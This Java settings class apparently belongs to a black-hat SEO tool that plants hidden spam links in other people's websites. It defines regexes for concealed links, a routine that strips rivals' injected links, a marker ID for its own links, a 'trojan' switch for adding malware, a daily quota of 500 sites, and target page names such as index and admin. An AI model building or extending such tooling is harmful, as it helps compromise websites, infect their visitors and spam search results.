package jude.java.money.black;

import java.util.HashSet;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import jude.java.util.FileUtils;
import jude.java.util.RegexUtils;

public class HeiSetting {

	public static final String[] POINTS = {
		"<tr", "<tbody", "<div", "<p>", "<h1", "<h2", "</table", "<span", "<a ", "<ul", "<br"
	};
	
	/**
	 * 常见黑链正则表达式
	 * */
	//链接
	//(<a\s(\s*(href|target|title)=[\"\']?(.*?)[\"\']?)+\s*>.+?</a>\s*)+
	//(<a.*?</a>\s*)+
	public static final String[] HEI_LINKS_PATTERN = {
//		"<!\\-\\-.*?\\-\\->",
		"<div\\s+style=[\\\"\\'][^\\\"\\']*(position:\\s?absolute)\\s?;(\\s*(top|left)\\s?:\\s?-?\\d{3,8}px;?)+[\\\"\\']\\s*>[^<]*?(<a.*?</a>\\s*)+.*?</div>",
		"<div\\s+style=[\\\"\\'][^\\\"\\']*display:\\s?none;?[^\\\"\\']*[\\\"\\']>[^<]*(<a.*?</a>\\s*)+[^<]*</div>",
		"<iframe\\s+src=\\s*[\\\"\\']?[^\\\"\\'\\s]+[\\\"\\']?\\s*((width|height)=[\\\"\\']?1?\\d[\\\"\\']?\\s*)+></iframe>",
		"<marquee\\s[^>]*?(?:(height|width)=[\\\"\\']?\\d[\\\"\\']?)+[^>]*?>.*?(?:<a.*?</a>\\s*)+.*?</marquee>",
//		"<script[^>]*>\\s*document\\.write\\s?\\([^<]*?</script>[^<]*?((<a.*?</a>\\s*)+)[^<]*?<script[^>]*>\\s*document\\.write\\s?\\(.*?</script>",
	};
	
	public static final RegularExpression[] HEI_LINKS_PATTERN2 = {
		new RegularExpression("div", "\\s+style=[\\\"\\']\\s*(position:\\s?absolute)\\s?;(\\s*(top|left)\\s?:\\s?[-\\d]\\d{3,8}px;?){2}[\\\"\\']\\s*>.*"),
		new RegularExpression("div", "\\s+style=[\\\"\\'][^\\\"\\']*display:\\s?none;?\\s?[\\\"\\']\\s?>.*<a.+") {},
////	new RegularExpression("div", "\\s+style=[\\\"\\'][^\\\"\\']*display:\\s?none;?[^\\\"\\']*[\\\"\\']>[^<]*(<a.*?</a>\\s*)+[^<]*"),
		new RegularExpression("iframe", "\\s+src=\\s*[\\\"\\']?[^\\\"\\'\\s]+[\\\"\\']?\\s*((width|height)=[\\\"\\']?1?\\d[\\\"\\']?[^<]+)"),
		new RegularExpression("marquee", "\\s[^>]*?(?:(height|width)=[\\\"\\']?\\d[\\\"\\']?)+[^>]*?>.*?(?:<a.*?</a>\\s*)+.*?"),
	};
	
	public static final String[] SELF_LINKS_PATTERN = {
		"<span id='8J22U30V44A9-(\\d+)'.*?</span>",
	};
	public static final RegularExpression[] SELF_LINKS_PATTERN2 = {
		new RegularExpression("<span id='8J22U30V44A9-", "(\\d+)'.*", "</span>"),
	};
	
	public static final long BASE_POINT   = 1277314608976L;		//2010-06-24 01:36
//	public static final long UPDATE_POINT = 1281252123207L;		//2010-08-08 15:22
//	public static final long UPDATE_POINT = 1281983588576L;		//2010-08-17 02:33
	public static final long UPDATE_POINT = 1282851208793L;		//2010-08-27 03:33
	public static final String IDENTITY_PERFIX = "8J22U30V44A9-";
	private static String IDENTITY = IDENTITY_PERFIX + (System.currentTimeMillis() - BASE_POINT);
	public static final int LINK_COUNT = 200;
	
	public static final int ACTION_PING = 1;
	public static final int ACTION_HEI = 2;
	public static final int ACTION_LIST = 3;
	
	public static final boolean TIDY = true;
	public static final boolean TROJAN = true;
	public static boolean UPDATE = true;
	
	public static final HeiSetting PING = new HeiSetting() {{
		action = ACTION_PING;
		threadCount = 10;
	}};
	public static final HeiSetting HEI = new HeiSetting() {{
		action = ACTION_HEI;
		threadCount = 10;
		downloadPath = "E:\\age\\heiliang";
		tidy = true;
		trojan = true;
		heiCount = 500;
	}};
	
	
	protected int action;
	protected int threadCount;
	
	protected String downloadPath;
	/**
	 * 是否清除其它黑链
	 * */
	protected boolean tidy;
	/**
	 * 是否增加木马
	 * */
	protected boolean trojan;
	/**
	 * 每天每组黑的站点数
	 */
	protected int heiCount;
	
	public int getAction() {
		return action;
	}
	public String getDownloadPath() {
		return downloadPath;
	}
	public int getThreadCount() {
		return Math.max(threadCount, 1);
	}
	public boolean isTrojan() {
		return trojan;
	}
	public boolean isTidy() {
		return tidy;
	}
	public int getHeiCount() {
		return heiCount;
	}
	
	
	private static final HashSet<String> EXTS = new HashSet<String>();
	private static final Pattern pattern;
	static {
		EXTS.add("htm");
		EXTS.add("html");
		EXTS.add("asp");
		EXTS.add("aspx");
		EXTS.add("jsp");
		EXTS.add("php");
		
		HashSet<String> NAMES = new HashSet<String>();
		NAMES.add("index");
		NAMES.add("default");
		NAMES.add("main");
		NAMES.add("include");
//		NAMES.add("top");
		NAMES.add("left");
		NAMES.add("bottom");
//		NAMES.add("head");
		NAMES.add("foot");
		NAMES.add("news");
		NAMES.add("contact");
		NAMES.add("hot");
		NAMES.add("menu");
		NAMES.add("admin");
		NAMES.add("about");
		NAMES.add("show");
		NAMES.add("detail");
		NAMES.add("topic");
		NAMES.add("article");
		NAMES.add("good");	//goods
		NAMES.add("catalog");
		NAMES.add("category");
		NAMES.add("list");
		if (NAMES.isEmpty()) {
			pattern = Pattern.compile(".*");
		} else {
			StringBuilder sb = new StringBuilder(".*(");
			int i = 0;
			for (String name : NAMES) {
				if (i++ > 0)
					sb.append('|');
				sb.append(name);
			}
			sb.append(")[^\\\\/]*");
			pattern = Pattern.compile(sb.toString(), Pattern.CASE_INSENSITIVE);
			NAMES.clear();
		}
	}
	
	public static boolean isWebPage(String fileName) {
		String ext = FileUtils.getExtention(fileName);
		return EXTS.contains(ext);
	}
	
	public static boolean shouldHandle(String fileName) {
		fileName = fileName.toLowerCase();
		String ext = FileUtils.getExtention(fileName);
		if (ext == null || !EXTS.contains(ext))
			return false;
		return pattern.matcher(fileName).matches();
//		String name = StringUtils.substringBeforeLast(fileName, ".");
//		return NAMES.contains(name);
	}
	
	/**
	 * 通过文件名判断服务器类型
	 * */
	public static String getServerType(String fileName) {
		String ext = FileUtils.getExtention(fileName);
		if (ext == null)
			return null;
		if ("asp".equals(ext) || "aspx".equals(ext))
			return "asp";
		if ("php".equals(ext) || "jsp".equals(ext))
			return ext;
		return null;
	}
	
	public static final void updateIdentity() {
		IDENTITY = IDENTITY_PERFIX + (System.currentTimeMillis() - BASE_POINT);
	}
	
	public static final String getIdentity() {
		return IDENTITY;
	}
	
	public static String tidy(String content) {
		boolean oro = true;
		int len = content.length();
		String[] patterns = HeiSetting.HEI_LINKS_PATTERN;
		for (int i = 0; i < patterns.length; i++) {
//			System.out.println(patterns[i]);
			if (oro) {
				content = RegexUtils.replaceAll(content, patterns[i], "");
				continue;
			} else {
				Pattern p = Pattern.compile(patterns[i], Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
				Matcher m = p.matcher(content);
				if (m.find()) {
					content = m.replaceAll("");
				}
			}
		}
		if (UPDATE) {
			patterns = HeiSetting.SELF_LINKS_PATTERN;
			for (int i = 0; i < patterns.length; i++) {
				if (oro) {
					content = RegexUtils.replaceAll(content, patterns[i], "", 1, UPDATE_POINT - BASE_POINT);
					if (content == null)
						return null;
					continue;
				} else {
					Pattern p = Pattern.compile(patterns[i], Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
					Matcher m = p.matcher(content);
					if (m.find()) {
						content = m.replaceAll("");
					}
				}
			}
		}
		if (content.length() < len) {
			content = content.replaceAll("(\\s*\\r\\n){2,}", "\r\n");
		}
		return content;
	}
	
	public static String tidy2(String content) {
		RegularExpression[] patterns = null;
		if (UPDATE) {
			patterns = HeiSetting.SELF_LINKS_PATTERN2;
			for (int i = 0; i < patterns.length; i++) {
				content = RegexUtils.replaceAll(content, patterns[i], "", 1, UPDATE_POINT - BASE_POINT);
				if (content == null)
					return null;
			}
		}
		patterns = HeiSetting.HEI_LINKS_PATTERN2;
		for (int i = 0; i < patterns.length; i++) {
			content = RegexUtils.replaceAll(content, patterns[i], "", 0, 0);
		}
		return content;
	}
}
